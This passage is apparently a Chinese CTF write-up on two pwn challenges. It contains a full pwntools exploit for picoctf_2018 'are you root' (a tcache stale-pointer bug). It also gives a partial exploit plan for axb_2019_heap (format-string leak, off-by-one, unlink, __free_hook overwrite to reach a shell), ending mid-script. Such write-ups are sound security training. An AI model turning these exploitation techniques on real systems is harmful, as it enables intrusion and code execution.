目录
picoctf_2018_are you root(程序逻辑错误)
例行安全检查
菜单如下:
我们需要auth_level等于5才能get flag
user结构体如下
struct USER{
char *name;
long long auth_level;
}
漏洞原理分析:
在login中分配了两次内存,第一次是存储user结构体,第二次是存储姓名
在reset中只是释放了name,并在name的地址置为空,此时该chunk进入tcache,下次login时还会再申请一次user结构体,此时名字中超过8字节的部分就被当成auth_level了
漏洞利用:
我们先login一下,查看分配的内存
然后reset,再重新登陆
发现名字中超过8字节的部分被当做了auth_level
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 27815)
#r = process('./PicoCTF_2018_are_you_root')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x400E46
b *0x400AF5
c
''')
r.recvuntil('> ')
r.sendline('login aaaaaaaa\x05')
r.recvuntil('> ')
r.sendline('reset')
r.recvuntil('> ')
r.sendline('login root')
r.recvuntil('> ')
r.sendline('get-flag')
r.interactive()
axb_2019_heap(格式化字符串,off-by-one,unlink)
漏洞分析:
banner中的格式化字符串漏洞
get_input中可以溢出一个byte(任意byte而不是’\x00‘)
漏洞利用:
- 利用格式化字符串漏洞泄露Libc地址和代码段地址
- 申请三个大小为8的奇数倍的note,第三个内容为/bin/sh
- 编辑note[0],伪造chunk,fd为bss上的note数组地址-0x18,bk位bss上note数组地址-0x10,并修改下一个chunk的presize和size
- 释放note[1],此时通过unlink欺骗note[0]中存储地址为数组地址-0x18
- edit note[0],把note[0]content的地址改为__free_hook,修改__free_hook为system地址并释放note[2]
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 28423)
#r = process("./axb_2019_heap")
context.log_level = 'debug'
elf = ELF("./axb_2019_heap")
libc = ELF('./libc/libc-2.23.so')
def add(index, size, content):
r.recvuntil(">> ")
r.sendline('1')
r.recvuntil("Enter the index you want to create (0-10):")
r.sendline(str(index))
r.recvuntil("Ente